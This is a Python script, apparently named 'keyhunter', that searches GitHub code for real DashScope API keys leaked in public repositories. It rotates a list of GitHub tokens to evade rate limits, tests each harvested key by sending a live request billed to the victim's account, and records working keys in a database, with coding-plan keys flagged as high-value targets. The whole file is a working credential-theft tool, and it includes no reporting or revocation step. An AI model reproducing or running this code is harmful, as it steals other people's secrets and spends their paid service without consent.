keyhunter-parser/gh_search_parser.py

#!/usr/bin/env python3
"""
GitHub code search scraper — extracts REAL DashScope API keys from search results.
Filters out placeholders (sk-xxx, sk-..., sk-your-*, sk-example).
Pages through all results using GitHub API with token rotation.
"""
import os
import re
import sys
import time
import hashlib
import sqlite3
import requests
from typing import Union, Optional, Any

KF_BASE = os.path.dirname(os.path.abspath(__file__))
DB_PATH = os.path.join(KF_BASE, "data", "keys.db")

# === PATTERN: DashScope keys in code ===
RE_KEY = re.compile(r'(sk(-[a-z]{2,4}){0,2}-[0-9a-zA-Z_\-.]{8,200})', re.IGNORECASE)

# Placeholder patterns — skip these
RE_PLACEHOLDER = re.compile(
    r'(sk-xxx|sk-\.{3,}|sk-your-|sk-YOUR|sk-example|sk-\*+|sk-None|sk-placeholder|'
    r'sk-[x*]{8,}|sk-[0]{8,}|sk-[f]{8,}|sk-[a-f0-9]{32}|sk-test)',
    re.IGNORECASE)

# Coding plan keys — high-value target
RE_CODING = re.compile(r'(sk-ws-H\.[A-Za-z0-9]{6}\.[A-Za-z0-9]{4}\.[A-Za-z0-9_\-+\/=]{50,})')

# Standard hex keys
RE_STANDARD = re.compile(r'(sk-[0-9a-f]{32})', re.IGNORECASE)


def load_tokens(path):
    with open(path, encoding="utf-8", errors="replace") as f:
        return [l.strip() for l in f if l.strip() and not l.startswith("#")]


def key_seen(db_cur, key):
    h = hashlib.sha256(key.encode()).hexdigest()
    db_cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
    return db_cur.fetchone() is not None


def extract_keys(text):
    """Extract all plausible keys, skip placeholders."""
    found = set()
    
    # Priority: coding-plan keys (high value)
    for m in RE_CODING.finditer(text):
        raw = m.group(1)
        if not RE_PLACEHOLDER.search(raw):
            found.add(raw)
    
    # Standard hex keys
    for m in RE_STANDARD.finditer(text):
        raw = m.group(1)
        if not RE_PLACEHOLDER.search(raw):
            found.add(raw)
    
    return found


def validate_key(key):
    """Quick validation."""
    endpt = "dashscope-intl.aliyuncs.com" if "ws-H." in key else "dashscope.aliyuncs.com"
    url = f"https://{endpt}/compatible-mode/v1/chat/completions"
    model = "qwen3.7-flash" if "ws-H." in key else "qwen-flash"
    
    try:
        r = requests.post(url,
            headers={"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
            json={"model": model, "messages": [{"role": "user", "content": "yo"}], "max_tokens": 2},
            timeout=10)
        return r.status_code, r.json()
    except:
        return -1, {}


def search_github(query, token, page=1, per_page=100):
    """Search GitHub code with pagination."""
    url = "https://api.github.com/search/code"
    headers = {
        "Authorization": f"token {token}",
        "Accept": "application/vnd.github.v3+json",
        "User-Agent": "keyhunter/1.0"
    }
    params = {"q": query, "per_page": per_page, "page": page}
    
    r = requests.get(url, headers=headers, params=params, timeout=30)
    if r.status_code == 403:
        # Rate limited
        return None, None
        
    if r.status_code != 200:
        return None, None
    
    data = r.json()
    items = data.get("items", [])
    total = data.get("total_count", 0)
    
    # Extract keys from text matches
    found = []
    for item in items:
        repo = item["repository"]["full_name"]
        path_item = item["name"]
        
        for tm in item.get("text_matches", []):
            fragment = tm.get("fragment", "")
            keys = extract_keys(fragment)
            for k in keys:
                found.append((k, repo, path_item))
    
    return found, data


def main():
    tokens = load_tokens(os.path.join(KF_BASE, "gh_tokens.txt"))
    if not tokens:
        print("[!] No tokens!")
        return 1
    
    db = sqlite3.connect(DB_PATH)
    cur = db.cursor()
    
    queries = [
        # High-precision: coding plan keys
        '"sk-ws-H." language:python',
        # Standard keys in .env files
        '"sk-" "DASHSCOPE_API_KEY" extension:env NOT "sk-xxx"',
        # Standard keys in Python
        '"sk-" "DASHSCOPE" language:python NOT "sk-xxx" NOT "sk-your"',
        # In config files
        '"DASHSCOPE_API_KEY" "sk-" extension:yaml NOT "sk-xxx"',
    ]
    
    total_new = 0
    total_found = 0
    token_idx = 0
    
    for query in queries:
        print(f"\n--- QUERY: {query} ---")
        page = 1
        while True:
            token = tokens[token_idx % len(tokens)]
            token_idx += 1
            
            items, data = search_github(query, token, page)
            
            if items is None and data is None:
                print(f"  Rate limited / error on page {page}, switching token")
                token_idx += 1
                time.sleep(1)
                continue
            
            if not items:
                print(f"  Page {page}: 0 keys")
                break
            
            total = data.get("total_count", len(items))
            print(f"  Page {page}: {len(items)} keys found in {total} total results")
            
            for key, repo, path in items:
                total_found += 1
                if not key_seen(cur, key):
                    total_new += 1
                    stat, resp = validate_key(key)
                    status_text = "WORKING" if stat == 200 else "DEAD"
                    info = ""
                    if stat == 200 and resp.get("choices"):
                        info = resp["choices"][0]["message"]["content"][:40]
                    
                    plan = "coding" if "ws-H." in key else "standard"
                    now_str = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time()))
                    h = hashlib.sha256(key.encode()).hexdigest()
                    
                    try:
                        cur.execute("""
                            INSERT OR REPLACE INTO keys VALUES (?,?,?,?,?,?,?,?,?,?,?)
                        """, (h, key, 'DASHSCOPE', status_text, plan, '', '',
                              now_str, f"github:{repo}/{path}", now_str, now_str))
                        tag = "✓" if status_text == "WORKING" else "✗"
                        print(f"  [{tag}] {key[3:15]}... {status_text} | {repo}/{path}")
                    except Exception as e:
                        print(f"  [!] DB error: {e}")
                
                if total_new % 10 == 0:
                    db.commit()
            
            db.commit()
            
            if not items or page * 100 >= min(total, 1000):
                break
            page += 1
            time.sleep(0.5)
    
    print(f"\n=== DONE === Found: {total_found}, New: {total_new}")
    cur.execute("SELECT status, COUNT(*) FROM keys WHERE prov='DASHSCOPE' GROUP BY status")
    for s, c in cur.fetchall():
        print(f"  {s}: {c}")
    db.close()


if __name__ == "__main__":
    sys.exit(main())